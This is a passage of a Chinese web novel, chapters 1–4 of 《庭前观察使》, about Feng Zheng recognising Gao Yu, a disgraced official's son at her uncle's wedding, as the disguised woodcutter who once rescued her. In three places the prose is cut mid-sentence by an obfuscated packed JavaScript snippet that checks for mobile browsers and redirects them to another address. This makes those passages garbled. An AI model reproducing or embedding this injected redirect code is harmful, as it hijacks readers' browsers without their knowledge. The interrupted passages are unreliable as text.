《庭前观察使》 1. 第1章 正阳显见,黎午似蒸。 宣城北街的牌坊楼下,冯筝将一只绣着鸳鸯连理的荷包塞给小童。 “吃了我家的喜糖,嘴巴就要放乖点哦。” 晌午天,街面尽是凑热闹的人,成堆缩在树荫底下,对即将到来的仪仗翘首以盼。日光漏过槎枒擦过瓦檐,落地后重新融合成片,将长街远近十里照出从未有过的敞亮。 牌坊楼前,小童睁着亮晶晶的眼睛,抱着塞满喜糖的荷包问。 “高娘子是你什么人呀,为什么大家都要骂她呢?” 冯筝短暂没有说话,身边吴阿姆却暗道果然,亲家那点来历,连路上随便一个孩童都有所耳闻。 周围人言凉薄,想到半大的孩童容易被教唆,学舌起来最是要命,吴阿姆正要督促小童把嘴放乖,冯筝便已出声回答。 “她是我阿伯的新嫁娘,是我冯家长房未来的主母,高娘子没有犯错,所以大家都不该骂她。” 这事解释起来费工夫,冯筝替小童剥开糖块,语焉不详地蒙混过去。吴阿姆闻言,多愁善感的性情使她眼神透露出哀戚,冯筝读得懂,这哀戚的出处究竟在哪里。 去年,江南科场舞弊案轰动朝野,高家家眷悉数遭殃,这事要怪,就怪亲家翁高平缮不愿做人。 庆朝延揽人才的贡举制度,分为岁贡和科举两个名目。登科士子江南厚,作为朝中延揽人才的重地,江南依靠地缘优势,承接了景仁年间第一场岁贡考试。 朝廷选派三品大员下赴江南,会同礼部主理科考事宜,结果录榜张放后不久,前有舞弊一事曝出,后有当朝宰辅高平缮借知贡举之职私行便宜,贿通世胄,于行卷过程中泄露题眼一事暴露。 落榜者义愤填膺,众举子投江以示死节,厚如毡雪的奏疏前,庆帝怒召三司会审,来回碾压的车轮战牵连一批高官落马,很快就将高相贪墨之罪坐实。 结果就是,高家满门连坐,财帛尽数充公。 高母死得早,生前育有二子一女。高相伏诛后,长子高振流放儋州,高豫行三,太学学士出身,时任睦州观察使,经过朝廷衡量,停职并且褫夺为白身,而二娘子高蘅,最终能够幸免于难,还源于她身上这桩颇有争议的婚约。 冯公与高父结识得早,这桩婚约也来得草率,是两人在同年登科的曲江宴上,冒着酒酣写下的醉笔之辞。多年后,重返京城的冯公登门提亲,没想到再见面时,曾经挚友已经身居宰辅。 高门府第,世故练达,一番薄茶冷待,足以让冯公领略到悔亲意味,所以提亲的来意还没来得及讲明,一颗热切的心便已冷透。 登科那年,冯公成绩挂虎榜末尾,应吏部之选,在司封司领了个闲职,后来挂冠归乡,才举家回到了宣城。 这桩醉拟的婚约不是秘密,曾经短暂沦为京族谈资,直到高家满门获罪,才再次被人问起虚实。 凶险关头,若非高豫百般斡旋,若非冯公不计前嫌,点头认亲,高娘子高蘅,可能如今还深陷诏狱生死不明。 在这样一场变故里,冯家始终高风亮节,高家则显得狼狈不堪,一时间,称赞的贬损的,各种声音混杂在一起,众人贬损新妇高蘅,完全没有意识到,这也是变相在让冯家难堪。 算起来,新嫁娘高蘅确实无辜,只是案件敏感不好骂罪臣,众人对高家子嗣又知之不详,才将目标转移到她的身上。 围观群众接了冯家的喜糖,碎嘴的声音勉强收敛,然而依旧算不上动听。 “听说高娘子今年二十五,蹉跎成老姑娘才出阁,搞不好是有什么顽疾。” “谁叫她爹食言而肥,这样刻薄寡恩,换做以前,她就是王公贵女也难出嫁。” 阳光跳跃在睫,刺目的强光催生出轻微眩晕感,冯筝有些睁不开眼,颦眉偏头压了压眼角,吴阿姆见她沉默起来,以为她在自责将事情搞砸。 她们沿路分赠喜囊,就是想要缓冲舆情,虽然貌似收效甚微,但眼看接了喜糖的百姓没再说丑话,足以见得姑娘这招是奏效的。 “姑娘心善,想要替姻亲挽尊,高蘅娘子知道了,定会感激姑娘的用心。” 冯筝凝眉轻轻摇头,卢阿姆看懂立马噤声:亲家毕竟身份敏感,挽尊这词用得不妥,说多了就都是话柄。 最后一只喜囊分发掉,府里的婢女前来催促。 一行人打道回府,吴阿姆喊住婢女云雀,“你走这么快做什么,天这样热,也不知道体贴一下姑娘。” 云雀急得额头尽是汗,回头看到姑娘一样没多轻松,神情很为难道。 “大爷去城关接亲,已经与前来送嫁的高三郎君打上照面,高家来了些旁支疏属,眼看片刻就要到。孟夫人催促得急,说亲家翁过了世,两家人素未谋面,总得留个好印象。” 说着替冯筝挽过篮子,“夫人说了,规矩就是规矩,不管姑娘怎样发慈悲,错过吉时还是要挨罚。” 她喋喋不休讲着初次会面何等重要,殊不知这双素未谋面的姻亲,对冯筝来说,不算完全素未谋面。 冯筝陪祖父回京那年,“白泽补”等纹样盛行京圈,太学院里亦不能免俗。 贵胄锦带缀容臭,王公华服嵌腰封,那些祥禽瑞兽纹看得她是眼花缭乱,其中一人叙谈款款,大袖朦胧得似隔在人群之间的蔼蔼云雾,站在人群中,如同雾满拦江时望不清的隔岸,只可远观而不可欺近。 后来,她着魔一般回到家,通宵达旦翻阅史籍,终于在《天官书》上找到眉目。 贴着微弱的烛光去照书上的字,她认真读出来:“若烟非烟,若云非云,郁郁纷纷,萧索轮囷,是谓庆云*……” 北街尽头,马车在等。 冯筝匆匆停下来,一点薄汗顺着颈线没入交领,眩晕感在双眼半阖中得到缓冲,当那本早就被遗忘的史籍,字里行间涌现脑海,冯筝重新记起了往事—— 那个时候,冯筝并未瞧清他脸容,祖父也尚未被高相冷待,太学院前,只听祖父的同僚曾大人介绍,“那些都是太学院的学生,衣着最素的那个,就是高家行三的高豫了。” 京城权贵遍地,凭纹饰符号各成圈流,他一件庆云衫出场,能在悖逆流俗的场合下圆融立身,意味着什么,当时冯筝有些懵懂。 她细细对着史籍研读,慢慢涨了一点阅历,也渐渐明白,高豫必定处事练达。 于是在十三岁那年,她单方面结识了一个圆融练达的青年人来。 高豫出师太学,景仁元年的殿试场上,凭一篇《廷试策》名动朝班,朝廷委他以要职,随后,高豫顺利进入观察使司,谁知大好英年,却被一状手谕停职,从睦州赶赴京城受审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935078|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江南科场案鞫谳惊险,传闻他生平第一件官赐的襕衫,就废在自己血泊之中。 远处人群发生躁动,冯筝惊促扭头,很快替自己感到汗颜。 好害臊,他们惦记冯家娶的新嫁娘,她倒好,惦记冯阿伯的妻舅爷。 -- 冯家有两脉男丁。两房尚未分家,长房冯承纲在城署中做佐吏,替郡丞司掌书史,二房冯承琨在书塾里教书。 冯筝是二房独女,一路上记着挨罚的话,等她回府一看,母亲哪里有空管她? 这桩婚事由孟夫人打理,孟氏拉着喜婆,忙着照看婚俗事宜,没空理睬冯筝去向。 本来按照长幼序齿,少有二房先成家,长房却还没有婚配的道理。多年前冯老夫人病故,二房事先娶了亲,等冯承纲出了孝,原先议亲的女方却来退婚,种种事情蹉跎过去,冯承纲拖到三十五才终于成家。 所以哪怕如今的高家身份敏感,对冯家来说,迎娶高蘅,总归还是一件喜事。 府里张灯结彩,虽然都主张低调地办,对这桩姻亲却没有怠慢。 庭院前视野极好,当穿绮披红的婚仗刚刚露头,接亲的喜婆便立马出动,冯筝两步跃出廊庑,头顶一片阴影罩下,是婢女举来油纸伞遮阳。 阴翳拦住刺目阳光,她半闭的双眸随之睁全,但她却将伞柄推开,提裙迅速向前赶路。 声光熙攘处,喜婢簇拥着新妇出轿,直到跨完火盆,全福人才追撵上来,像只忙络的梭,引着金丝红线向前穿行,就将两姓成功交织在一起。 大门前,挤得臃肿的人群再次让开一条道。 踏入正门的冯公身边,一名青年举步赶来。 青年步履落拓,面朝冯公颔首交谈,朝这边走来时,身姿始终清拔遒劲。粗略一看,好像与那些贵胄无异,未曾认知过何谓苦难,只那长裾浆洗得发白,悬日底下,照见一缕摧颓过的影子。 看清他面容的那刻,冯筝整个人愣在原地,耳畔如遭钟鸣痛贯。 这个人,她分明是认识的。 三年前,她在襄阳遇匪,曾被一个男人救下。 她至今都记得,这个用贴身玉佩赎下她,在她面前伪装成樵夫的男人,是怎样谨遵医嘱,将浮着五苓大顺散的药碗磕进她牙关,是怎样宽纵姑息,面对被她糟蹋了一地的药钱眼也不抬。 又是如何惯用伎俩,在她寻死觅活的时候自嘲“滥施恩良”,趁她愧疚失察,将她的手牢牢摁在碗壁劝服她惜命。 男人掌宽指长,指腹粗粝掌心却很柔软,日常起卧,提剑握笔都不在话下,这样的人,怎么可能只是樵夫这样简单? 她落入匪窝差点遭了殃,既苦于病痛寻死觅活,又想盼得家人来接,所幸焦虑拉扯半个月后,她终于等来亲人音讯。 他将身上的银钱拢进她绣囊,趁着春水涨堤前将她安顿,面对她欲报恩,面对“高姓大名”的繁琐追问,他只是笑了笑,用心又敷衍地自称“刍荛”。 冯筝很失策,仿佛又回到了三年前,还站在春水边,两人最后阔别的时候。 那时她也是这样,看似不求甚解,却对他的来历苦恼欲卒,一遍又一遍默读他给的名讳。 “刍荛、刍荛……” 人群中,有人叫出了他的名字:“高豫!” 2. 第2章 冯筝忽然就晕倒了,醒来时,那声“风筝”不断在她耳畔回响。 看诊的大夫说她得的是暑热症,仆婢们献来漉梨浆解暑,最后,还是孟氏屏退了众人,将浸着五苓散的汤药给她服下。 “我在喜堂被事情绊住,你倒好,往后一躺就把来客全给唬住。” 孟氏嘴损却也疼惜,将她的晕倒归结为白日出街,“像这种发喜糖发利是的事情,有仆役卖力,哪里用得着你去街上操心。若不是家里知道你的旧疾,差点要以为,高郎君对你说了什么重话。” 高家子嗣多数凄惨,唯二活着的还流放儋州,如今能出席婚宴的,只能是高豫没错了。 当时,喊住高豫的是提举学事司的督学官胡祯,闻声,即将远去的高豫骤然止步,转头回应“师伯”,偏偏就是这一回头,让他注意到廊檐前神情戚戚的冯筝。 冯筝脑海中最后的画面,就是悬日底下他快步走来,停在对面,琥珀瞳心微动:“原来‘风筝’姓冯。” 他百般感慨。 “没想到飘飖播迁半载,竟然还能有他乡遇故知的一天,冯姑娘,幸会啊。” 高豫和刍荛身份重合,那时的她,尚沉浸在意外中没缓过神来,听到他说话,这样的情绪重新感染到她,冯筝眼前一昏,心脏骤地跳空半拍,再醒来时已经躺在闺房。 自从三年前探亲远房亲戚,冯筝便不曾出过远门,孟秋不太相信女儿会结识高家人,但根据方才耳闻的情形,总觉得有哪里不对。 孟秋就问,“阿筝,高郎君跟你说什么了?” 冯筝沉默住,颦眉偏头看向别处,“我想不起来,可能是突然晕倒,脑袋磕糊涂了。” 这话真假参半,脑袋微疼却是真的。 满门获罪,不是普通的家宅变故,高豫官籍在册,官复原职却希望渺茫。所以最初,在得知高豫会来送亲时,她只是抱着接济一片月的心态,很期待能一睹这位京城太学学士的姿容。 至于看待这位高门罪眷,落魄骄矜,她所能做的,可能和街道两旁的百姓没什么不同:流露一点惋惜同情,然后再用几句遗憾的话,给他就此黯淡的生平批一批命。 然而命运给她开了一个巨大的玩笑。 当落魄骄矜是曾经恩公,当曾经的两人境遇颠倒,在这故人重逢本该激动欣喜的时刻,冯筝握一碗苦药,郁结的心情远胜惊喜。 她放空的双眼略显迷瞪,没有将高豫来认脸的事实挑明。 孟秋收起药碗便笑:“我看你是睡糊涂,不是磕糊涂了。高郎君将你打横抱回来,根本没让你磕着碰着,你将他脖子箍得死紧,吴嬷费了点劲才给掰开,谁能想到,昏迷的人能有这么大力气?” 冯筝想过自己在高家人面前失了礼,没想到失的是这么大一个礼,她心情沉重地去看阿姆,果然看到阿姆回以凄切眼神。 孟秋唯恐她打退堂鼓,坐下跟她讲规矩。 “府里人丁单薄,你是唯一的小辈,那也就是冯公的颜面,喜堂错过便错过了,但是喜宴可不能缺席。” 冯筝短暂没想通,她一个既无贤称也无美名的孙辈,怎么就略过两位父伯,荣膺祖父的颜面? 答案就在问题里,等她亲自坐在宴堂里,就直观地领会到,孙辈就是门楣脸面。 喜宴上,经常有女客拉她叙话,大多都是冯家亲属,听说她午时晕倒,嘘寒问暖的时候难免问起症结。 如今暑末近秋,气候转凉,中暑晕倒略显稀奇,再者以冯家对孙辈的疼爱,夏季冰鉴凉瓜伺候着,不应该得此病症才对。 她这旧疾来得蹊跷,来历经不起推敲,那种面袋般被裹在马背上,颠簸数十里的噩梦,冯筝每每想起都一阵恶寒。 吴阿姆赶过来解围,“姑娘帮衬着夫人操持中馈,这些天劳碌过头,病症可不就趁虚而入。大喜的日子咱不提这个,府里准备了美酒佳酿,一会儿喝得高兴,还请帮大爷挡一挡酒啊。” 傍晚时分,阖府红灯成片点亮。 江南科场案的余威声震朝野,这桩亲事总有人避讳,冯家亲属来得不多,高家那就更少了,加上此次送亲的护随,勉强凑够五六桌酒席。 厨娘厨役们往来布菜,小厮在庭院伺候酒水,外面的宾客推杯问盏,两家姻亲则相聚前堂。 冯家眷属聚在一侧,让出对面孤零零的座席,某种对比惨烈的凄楚感,顿时将喜宴淹得透不过气来。 高豫撂起帘栊走进,堂间亮光争先恐后朝他簇拥过去,高豫睫梢轻轻上掀,清黑的眼瞳施然张放。 “听说按照宣城习俗,我作为女方家眷应当灌酒,如今高某孤立无援,四舍五入来算,倒成了我与姊婿对拼酒量。” 高豫腰缠朱绦,红得醒目的颜色缠结在腰侧,给清隽平和的青年添一抹艳色,他含笑打破沉默,神情谦逊地流露出压力,却提过酒壶自斟酒水,一举将对酌气氛拉满。 冯承纲揣一身喜袍就来迎战。 三巡酒水下肚,醉意直冲冯承纲颅顶,晃荡酒液前,高豫眼神始终谦和。 冯承纲不推辞,高豫酒杯便不好离手,期间学事司胡祯前来对话,高豫偶尔侧首听谈。 冯筝微微侧过身,吩咐后厨提前备好醒酒汤,冯公这就将她喊住。 冯公精神矍铄,对府里孙辈的存在向来很高调,想当年赴京城拜访朋僚,就牵着她在御街上四处招摇,此刻也是一样,胡祯高豫等人面前,冯公喊来冯筝引见。 “这是老夫的独孙女,单名一个筝字。冯筝,这是你高伯娘的弟兄,这位是学事司的督学大人。” 冯筝抚裙曲膝问好,在两人面前过了明路,胡督学率先笑道,“冯姑娘不用见外,胡某祖籍宣州,说起来,我们两家算同乡。” 话题落到高豫这边,冯承纲就出声提醒,“父亲,他们两个见过面了,午时阿筝犯晕,还是高三郎出手相助的呢。” 众目睽睽之下,高豫主动将这事揽起,“当时情况惊险,高某无意肢体冒犯,还请冯姑娘谅解。从庭院到厢房,全程都有仆妇陪护,所以我不能独揽功劳。” 冯筝明白,这是事情被抬到明面过议,他坦荡致歉,好能适时圆全他目睹险情时的事急从权。 表面听起来不愿揽功,实则维护女子闺誉。他解释冒犯在前,维护闺誉在后,这样圆融的做事风格,令冯筝想起两人过去在襄阳城,为了一帖药极端拉扯的情景。 这样礼貌亲善的人,说体贴又不完全体贴,他医嘱记得一字不差,煎药的手段却不得章法:五苓大顺散煎不开,浸在粗瓷海碗里飘如尘屑,叫本就绝望求死的她更倒胃口了。 刍荛拿她没办法,每当她负隅顽抗,就清清净净地离开,却又趁她昏迷,将药碗果断磕进她牙关。 动作熟练得不像樵夫,反倒像个恶徒酷吏。 就这样把她得罪狠了,事后却又讲起情面,停在榻边剥起饴糖,作为补偿她喝药的津赏。 然而,她从来不是一点甜头就能哄服的人。 她对喝药产生的抵触情绪,一直持续到诊堂里,因为横遭祸端而自怨自艾的她,公然将药碗推开的那天。 粗盏落地,碎成片瓦,诊堂瞬间寂静无声,医翁遍览世态炎凉,摇完头走开,练就一身看淡的本事,淡漠的人们退避三尺,唯独刍荛不能看淡。 他走过来蹲下身,手指伸向碎瓦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“接下来你有什么打算?” 高豫没细说:“京部将我限足,这两日,我要等一道谕旨。” 胡祯便听懂了,朝廷对他的度牒动了手脚。 高豫拜师集贤殿大学士施润章,施老对学生一向惜评,江南科场案事发后,却叹息着评价他“金昭玉粹,应憾守器承祧”。 胡祯深受触动,他是抱着这个遗憾来的,不想也是抱憾走的,试探着问,“你对这道谕旨,就没有一点想法?” 高豫回答,“圣人慈悲,臣子听凭裁决。” 胡祯额角微跳。在刑部狱还据理力争父兄清白的人,怎么事涉自己竟开始惜字?这种仿佛圣人叫他引颈受戮,他都能面不改色照做的姿态,委实扎到胡祯眼睛,但他想了想,也知道高豫本身也很被动。 胡祯这便妥协,“算了,能看开也是好事,坦然面对没什么不好,没准是个好结果呢……” “三郎君,快来和我对拼酒量!” 冯承纲挡开小厮的搀扶,强撑着醉态不肯认输。声音飘到室外,高豫致意失陪,取回自己的酒盏,没走几步又忽然停下。 冯筝静悄悄坐在绣凳上,静谧浓郁的灯影为她脸庞施就了檀妆,同样注视着他的姑娘,眼底情绪有几分复杂。 高豫想要靠近,脚步却迟疑住。 三年前他假扮刍荛躲避追杀,草莽角色穿梭山林,演绎起来并不轻松,碍于必须低调行事,他果真去靠割草采薪谋生。 山野葱郁,遍地都是树杈荆棘,一趟外出回来,一身衣裳惨不忍睹,如果遇上雨季,情况就更糟糕。 那天春雨滂沱,雨水模糊他纵眺的视野,山途被拉扯得艰涩而漫长,他毫不耽搁地回到屋子,就看到她端着一碟糕,用安静担忧的眼神看他。 糕碟尚带湿意,残雨循着碟沿溅落,在地上砸开斑驳水渍,她收紧摁在碗碟的指尖,情绪某一刻有点复杂。 有酸楚,有怜惜。 却万万不该对他这个骗子,抱有可以交心的信赖托付。 3. 第3章 高豫曾经打算过,等到“风筝”亲眷来接,他就摆脱追杀回睦州去,两人各归各途,从此就当素昧平生。 哪怕迟迟等不到对方亲眷,他也另有安顿办法,整理好思绪后,他便莞尔笑着进屋,隔着三尺屏帷换洗衣裳。 面对她的感恩,他不是第一次谢绝酬谢,但他怎么也想不到,没法子表达酬谢的她,竟会揣着他那身划破的葛衣,对着一簇灯火密密缝补。 针脚细密,别出心裁,这让见惯她骄纵蛮横一面的高豫,那天难得微微动容。 哪怕互相遮掩名讳,哪怕互不知根知底,被动匿迹在襄阳的高豫,就是那天心生动摇,问清那群害她落难的贼匪来路,索性帮人帮到底,冒着暴露身份的风险端了贼窝,向襄阳官衙亮明身份,只图一个严惩不贷。 “风筝”对他,无疑是感激涕零的。 他至今都记得,她是如何把替他送信的鹞鸽养得肚皮圆滚,把他被树枝划破的布衣缝补完好,又是如何在他因为春水涨堤,驿道封路而不得不提前启程离开的时候,顽缠着留下他让家人酬谢。 高豫心情复杂,顺势想要靠近,却因为场合不便而迟疑住。 三年过去,冯筝样貌丝毫没变,唯独气质沉静安详,令他短暂觉得陌生,或许这才是她本来的性情,当年所谓骄纵蛮横,只是遭遇不祥后担惊受怕,不能够就此武断置评。 高豫很快错开眼神,莫说往事不值一提,就说如今江南科场案这个祸端发生,冯筝不跟他相认再好不过。 三年前两人各归其位,就理应算作素昧平生。江南科场案蹊跷处不少,未来会发生很多事情,他后半生注定飘飖播迁,不指望故友跟他惺惺相惜,只要不站在对立面口诛笔伐,对他而言就是最好的结果。 冯承纲举着酒杯赶来,偏偏就是此刻,从书塾里散学的二爷回了府,冯承琨贸然出现,截下冯承纲的酒水,略过众人直奔高豫。 如果说第一回对饮算作挡酒,那么冯承琨不顾周围人劝阻,连续添满第三回酒,面朝高豫再做推请,就多少沾着点无礼的成分。 “贵客远道而来,冯家得尽地主之谊,冯某敬你几杯,三郎君千万不要推辞。” 杯盏微微前扣,酒水溅湿高豫手腕,高豫无视酒渍抬眼,看向这个与姊婿岁数相近的中年。中年人宽衫博袖,身上带点学究气质,却眉眼幽深算不上友善。 冯承琨事先将喜酒饮尽,没有给他回旋的余地,高豫笑了笑,只好给自己斟酒——直到有只素净的手,隔着绢帕按在他腕间。 “父亲这样做不公平。三郎君已经喝过不少酒,你半道截胡,难免有占便宜之嫌,不如让我以茶代酒,替他接这地主之谊。” 满座寂静。 冯承纲被冷落在旁,端着酒杯无人问津,他低头看了看醒目的喜袍,确认自己才是新郎官没错,东倒西歪地扭到近前,难以置信地,凑过一副头脸来问。 “二弟,你在灌谁的酒?” 扭头又看看冯筝。 “那你呢,你又在给谁挡酒?” “……” 在酉时将至的最后一刻钟里,望着满目杯喧箸嚷,冯公短暂回忆过自己履职生平,偶尔参与过的官场宴集。 他参与过的酒宴不多,有些事是慢慢懂得的,比如说,那一幕幕醉玉颓山,面对仕途的侃侃而谈,以及暗藏玄机的眉眼官司,都为之后殿堂上的激烈角逐拟好了草稿。 他与高平缮同年登科,在两人共事吏部的那一年,圣人感慨众贤盈朝,于曲江畔赐下百官宴。面对熟人或是生人劝酒,高平缮来者不拒,后来同僚们半开玩笑,彼时双双都没有妻室的他们,竟被怂恿结下了儿女亲家。 满桌人醉得将倒未倒,唯独冯公滴酒未沾,当时官拜翰林的编修黄迁,明面羡煞两人情谊,转脸却朝冯公发难,对他不胜酒力的说辞并不买账。 “古来酒中出文豪,文臣岂有不饮酒的道理?” 翰林编修层层递进,将文臣不饮酒,视同不与圣贤为伍。天大的罪过摁在他身上,年轻的冯公含冤莫白,却还是凭着一身硬气,将酒桌的气氛僵持到窒息。 冯公不理解,朝堂重臣显宦那样多,他凭本事登科,为什么要向小小一个编修低头。 穿廊风将檐角灯笼吹得打旋,火光燎动明暗界限。高平缮站在人群聚集处,这个比他合群太多的人,跨出簇拥舌战群僚。 而后沉默地递来薄酒,一次次试图将他拉回。 只是那个孤绝的他,最终还是没有服软。 冯公被过去困扰住,直到喜宴前,冯筝素净的手伸来解围,高豫顺势放下酒杯,天旋地转间,他堆皱的眼皮忽然颤动。 如果当时他配合一点,饮下那杯酒,面对高平缮的暖场,站住他阵脚,是不是后来两人就不会分道扬镳,以至于后来形同陌路,隔着漫长的生死无法来往? …… 深夜时分,月光带来凉意,风一吹,就更凉了。 被叫到书房的冯承琨始终不理解,一个连文臣也算不上的落魄学士,到底有什么资格,值得父亲频频替他说话。 室内,烛盏火苗微晃,如同烫脚一般翕忽跳动,冯承琨捏着手心一层汗,胸臆一阵躁郁,眼里蹙起的怒意,比墙上晃动的烛影还要焦灼。 “高相悔婚在前,冯家对高家不计前嫌,外面哪个不称赞一声高风亮节?我等虽为闲散人家,但好歹清廉自重,如今冒着招惹污名的风险迎娶高蘅,他高家当然要对我们感恩戴德!” 冯承琨一直对高门子弟颇有微词,哪怕高三郎瞧着姿态谦逊,冯承琨更乐意理解为这是他微时势弱,藏起傲骨后谦卑示人的伪装。 冯公将烛罩扣下,转身摆他一眼,不紧不慢地吩咐。 “前脚还是个教书的夫子,满腔戾气的样子成何体统,福登,把醒酒汤给二爷端去,让他整理好情绪再跟我说话。” 冯承琨表情很难看,小厮福登害怕极了,双腿颤颤有些迟疑,他端着汤碗靠近,果然被二爷先一步挥开。 冯承琨暗暗握拳:“父亲!” “申明亭的告示判文清晰,高平缮借职责之便泄题。庆朝百年来,最重的刑罚不过是绞监候,结果京部竟判他斩杀弃市,这还不足够说明一切吗?高相爷贿通世胄,是个十恶不赦的罪臣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935080|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的子嗣都是罪眷,凭什么有人能独善其身!” 冯公屏退小厮,知道冯承琨在影射高豫,耐心给他普法。 “满门连坐,是律法,停职待判,却是对他四年来效命朝廷给予的尊重。朝廷做出裁断前,需要衡量他生平功过,至此给出公允的裁决,眼下高三郎与兄姊之间,只差一道裁制,哪里如你所说独善其身?” 冯承琨嘴唇微张,短暂没有出声,此刻注视着父亲,脑海里浮现的,却是把酒相对时青年清峻的眉。 容貌靠姿仪来支撑,而姿仪靠金钱来养。 冯承琨记起这句俗语,声音忿忿拔高,“我不涉足官场,对刑司断狱的流程不了解,我只知道这些贪墨者,哪个不是积资数万,如此靠父辈敛财养出来的子弟,这样的既得利益者,有什么脸面敢自诩无辜?” 自信扳回一局,冯承琨讽刺地笑着,竟让跟前的冯公错愕一瞬,冯公恍然扬眉,随即一掌拍在了案前,“贪墨?你真看不明白吗,你竟还看不明白!” 冯承琨惊促噤声。 “高平缮罪名贿通,错重在‘通’不在‘贿’。朝臣关系错综复杂,官场人情往来,有多少真的是真金白银过手?多的是互行变通,以抬手可行的便宜互偿。” “高平缮通同世胄,私行变通,因泄题被斩杀弃市,是他扰乱考纪犯了众怒,是朝廷为平士族愤怒,你以为,前朝那些顶着贿通罪名下狱的人,真的都是贪饷了铜臭吗?” 一席话掷地有声,仿佛听到什么不得了的事,冯承琨眼睫忽颤。 “你不是看了申明亭的告示吗,告示判词清晰,其中有一条财帛充公,那些数额你也看到了。” “很少。” “户部要将高家家财收缴国库,经过点检,他值钱的家当,无非几块普通的砚台,外加几幅字画绢本,还不抵内廷官员一个月的俸禄。最后点检的结果一出,还不是让那些判他死刑的三司颜面微损。” 冯公没再说下去,科场案案件敏感,他不愿再议高平缮的事,移开身影,话题转回高三郎。 “今日走在高豫身边的,是提举学事司的督学官胡祯,连他都偏帮高豫,你怎知高家没有重振的可能。高豫是御笔钦点的观察使,你只见他今朝落魄,怎知哪天他不会恢复名誉甚至登得更高。” “像他这般识略的年轻人,怎么可能自甘落魄,屈居平淡,他迟早要走,你何必逞一时的快意与人为难?” 冯公声音平静,双手交在身后,有什么情绪像浮云一样飘远,又随着堆积在眼皮的褶皱沉甸甸挣扎。 当冯公彻底转过身来,唤动眼前人乳名,半明半昧的光影从侧颜渲染至全貌,冯承琨忽然发现,父亲早已两鬓斑白。 “琨儿,行走世间诸多不易,我蹉跎半生,不求儿孙至仁至义,只求我谆谆教诲养大的晚辈,来日路过他人苦难时,能记得保留几分体谅。” “只要能做到如此,就是对我最大的慰藉了。” 一片静默中,冯承琨最终上前,端起晾在一旁的醒酒汤,老老实实喝完。 手托空碗,垂头低声。 “孩儿明白了。” 4. 第4章 □□疏风朗月,客院明窗大开。 冯筝潜入此处时,高豫正对着墙上那幅墨裱出神。 受冯家人款待,高豫今晚留宿客房。他面朝东墙侧接窗台,还是那身装束,夜里也不就寝。鲜红的衣带缠他文瘦的腰,一身长裾却颜色清冷,他微微仰着面容,对着尺幅墨字长立不前。 这样的他,对冯筝来说是少见的。 哪怕这其实才是他的常服,时至今日,冯筝脑中更清晰的印象,还停留在他腰挂斧具,以及偶尔沾着柴屑灰尘的葛衣上。 那些葛衣,那些布襦,和它们触碰起来的粗粝质感,曾造就他掺着市井气的秀致随和,比太学院前宽衫博袖,试想中的革带官服,都让她感到亲切太多。 风一吹,有点冷,冯筝抱住自己,再看窗内的高豫,更像一幅寒潭鹤影,她深深一吸气,寒潭鹤影也动了起来。 冯筝快步朝高豫走近,与他遥遥相望时又突然停住,云雀忙来扶住冯筝,生怕她一个趔趄将自己绊倒。 “不是说以茶代酒吗。” 高豫出声疑问,看到她手中的玉净瓶,顿时明白,“她喝酒了?” 语意关切冯筝,话却是问向她身边婢女。冯筝抢先否认:“不是酒,是寒潭香。” 寒潭香不沾酒字,却比寻常酒水还要醉人,高豫闻言眼神微变,“夺下去。” 云雀愣了愣,半晌才确定是吩咐自己,自知让姑娘碰酒是她失职,没管高豫的吩咐唐不唐突,这就伸手去捉玉净瓶。 冯筝眼神钝钝,还停留在方才他那句问话中没缓过神来,所以没等云雀得手,冯筝先不乐意了。 她往前一步指了指自己,“我人就站在这里呢,我的事你不来问我,问别人算怎么回事?” 冯筝只顾着幽怨,根本没去管问一个醉酒的人喝没喝酒,就好比问直接问他醉没醉一样有多荒唐。高豫但笑不语,却也轻拿轻放,看着她重新问。 “你喝酒了?” 冯筝心满意足,“不是酒,是寒潭香。” 顶着醉意答完,冯筝很容易便也笑了,转头打发走云雀,叫她回房给自己找一件罩衫来穿,自己则走到窗台,双手枕住脑袋,趴在窗前张望室内。 咫尺之隔让她饱览高豫,也让她看清墙上墨裱,“居高思坠,持满戒盈”八字,出自《九成宫醴泉铭》,卷幅司书斐然。府里像这种字画有很多,都是由冯公亲手书写。 冯公一手字画妙到毫颠,惹高豫驻足不算稀奇,她注视着那八字名诤,道理普通,偏偏感到心府微震。 冯筝眉尖细凝,转瞬黯然而平静,就好像这幅笔墨并没有足够吸引她,因为她很快挪开眼去看高豫。 “朱雀大街保康门外,太学院里身穿庆云服,站在众学子里分外出挑的人,是你吗?” 高豫迟滞了片刻,谦和点头,“是。” “弱冠那年殿试夺魁,那么多清要的官职不选,偏偏远赴睦州去做观察使,是你吗?” 高豫回答:“是我。” “去年案狱大兴,传信和我祖父斡旋婚事的人,也是你吗?” 高豫:“也是我。” 当事实越来越没有疑义,他的声音越发凝练,他表面看着冷静至极,实则尽量在等情绪冷却。 倒数两个问题之间,女孩其实停顿很久,仿佛中间存在某种空白,令她想不起来甚至讳莫如深,他便守着这份空白,等她继续说下去。 可惜冯筝没有下文。 于是,高豫俯眼,很武断地确定,“你果然不记得我。” 